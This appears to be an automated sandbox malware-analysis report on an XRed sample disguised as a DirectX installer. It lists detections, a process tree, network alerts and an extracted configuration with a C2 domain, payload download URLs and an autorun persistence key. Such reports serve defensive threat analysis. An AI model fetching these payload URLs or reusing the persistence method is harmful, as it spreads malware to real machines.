Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1583475
MD5:	eaba5b2c3b6607177112ec5f26438ba3
SHA1:	d0572bad54faca6af612763c6835feb160a3dcd2
SHA256:	43555b4a8bd82abd7e7b1f279b4f31afb5a230ce4246be6fda4fdd5e7263c780
Tags:	exeuser-jstrosch
Infos:

Detection

XRed

Score:	74
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains strange resources

Queries the installation date of Windows

Sample file is different than original file name gathered from version info

Sigma detected: Use Short Name Path in Command Line

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6428 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EABA5B2C3B6607177112EC5F26438BA3)

._cache_file.exe (PID: 6420 cmdline: "C:\Users\user\Desktop\._cache_file.exe" MD5: FD6057B33E15A553DDC5D9873723CE8F)

dxwsetup.exe (PID: 6448 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe MD5: EAA6B5EE297982A6A396354814006761)

Synaptics.exe (PID: 4136 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 7407C51DD7AC30C4D79658D991A8B5D6)

WerFault.exe (PID: 2548 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 15608 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6128 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 2952 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 4428 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14432 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3180 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14456 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 1500 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 3252 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2836 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 15520 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3776 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 14552 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 1204 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

Synaptics.exe (PID: 1876 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: 7407C51DD7AC30C4D79658D991A8B5D6)

cleanup

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
file.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\Synaptics\RCX8506.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCX8506.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: file.exe PID: 6428	JoeSecurity_XRed	Yara detected XRed	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.file.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.file.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe, CommandLine: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_file.exe" , ParentImage: C:\Users\user\Desktop\._cache_file.exe, ParentProcessId: 6420, ParentProcessName: ._cache_file.exe, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe, ProcessId: 6448, ProcessName: dxwsetup.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 6428, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 4136, TargetFilename: C:\Users\user~1\AppData\Local\Temp\zsbKktb3.xlsm

Suricata Signatures

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:28:46.292943+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49730	216.58.206.78	443	TCP
2025-01-02T20:28:46.342060+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49731	216.58.206.78	443	TCP
2025-01-02T20:28:47.366507+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49739	216.58.206.78	443	TCP
2025-01-02T20:28:47.388273+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49742	216.58.206.78	443	TCP
2025-01-02T20:28:48.475179+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49749	216.58.206.78	443	TCP
2025-01-02T20:28:48.480400+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49750	216.58.206.78	443	TCP
2025-01-02T20:28:49.566636+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49760	216.58.206.78	443	TCP
2025-01-02T20:28:49.573037+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49761	216.58.206.78	443	TCP
2025-01-02T20:28:51.082721+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49783	216.58.206.78	443	TCP
2025-01-02T20:28:51.094820+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49782	216.58.206.78	443	TCP
2025-01-02T20:28:52.108314+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49797	216.58.206.78	443	TCP
2025-01-02T20:28:52.131513+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49796	216.58.206.78	443	TCP
2025-01-02T20:28:53.145116+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49805	216.58.206.78	443	TCP
2025-01-02T20:28:53.150369+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49806	216.58.206.78	443	TCP
2025-01-02T20:28:54.045246+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49816	216.58.206.78	443	TCP
2025-01-02T20:28:54.045308+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49815	216.58.206.78	443	TCP
2025-01-02T20:28:55.072174+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49831	216.58.206.78	443	TCP
2025-01-02T20:28:55.086087+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49832	216.58.206.78	443	TCP
2025-01-02T20:28:56.208084+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49840	216.58.206.78	443	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:28:46.764779+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.7	49738	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe	Avira: detected
Source: file.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SUpdate.ini0&	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/Synaptics.rard	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCX8506.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCX8506.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: file.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCX8506.tmp	ReversingLabs: Detection: 93%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1	ReversingLabs: Detection: 93%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 85.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCX8506.tmp	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe

Window detected: Installing Microsoft(R) DirectX(R)Welcome to setup for DirectXThe DirectX setup wizard guides you through installation of DirectX Runtime Components. Please read the following license agreement. Press the PAGE DOWN key to see the rest of the agreement. You must accept the agreement to continue the setup.MICROSOFT SOFTWARE LICENSE TERMSMICROSOFT DIRECTX END USER RUNTIMEThese license terms are an agreement between Microsoft Corporation (or based on where you live one of its affiliates) and you. Please read them. They apply to the software named above which includes the media on which you received it if any. The terms also apply to any Microsoft* updates* supplements* Internet-based services and * support servicesfor this software unless other terms accompany those items. If so those terms apply.BY USING THE SOFTWARE YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM DO NOT USE THE SOFTWARE.If you comply with these license terms you have the rights below.1. INSTALLATION AND USE RIGHTS. You may install and use any number of copies of the software on your devices.2. SCOPE OF LICENSE. The software is licensed not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation you may use the software only as expressly permitted in this agreement. In doing so you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not* work around any technical limitations in the software;* reverse engineer decompile or disassemble the software except and only to the extent that applicable law expressly permits despite this limitation;* make more copies of the software than specified in this agreement or allowed by applicable law despite this limitation;* publish the software for others to copy;* rent lease or lend the software;* transfer the software or this agreement to any third party; or* use the software for commercial software hosting services.3. BACKUP COPY. You may make one backup copy of the software. You may use it only to reinstall the software.4. DOCUMENTATION. Any person that has valid access to your computer or internal network may copy and use the documentation for your internal reference purposes.5. EXPORT RESTRICTIONS. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations end users and end use. For additional information see www.microsoft.com/exporting.6. SUPPORT SERVICES. Because this software is as is we may not provide support services for it.7. ENTIRE AGREEMENT. This agreement and the terms for supplements updates Internet-based services and support services that you use are the entire agreement for the software and support services.8. APPLICABLE LAW.a. United States. If you acquired the s

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50218 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50239 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50272 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.7:50284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50290 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.78:443 -> 192.168.2.7:50299 version: TLS 1.2

Source:	Binary string: wextract.pdb source: file.exe, ._cache_file.exe.0.dr
Source:	Binary string: dsetup32.pdb source: SET8EBB.tmp.6.dr
Source:	Binary string: dxwsetup.pdb source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278152234.00000000002C1000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: wextract.pdbU source: file.exe, ._cache_file.exe.0.dr

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: c:
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe	File opened: a:	Jump to behavior

Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: file.exe	Binary or memory string: [autorun]
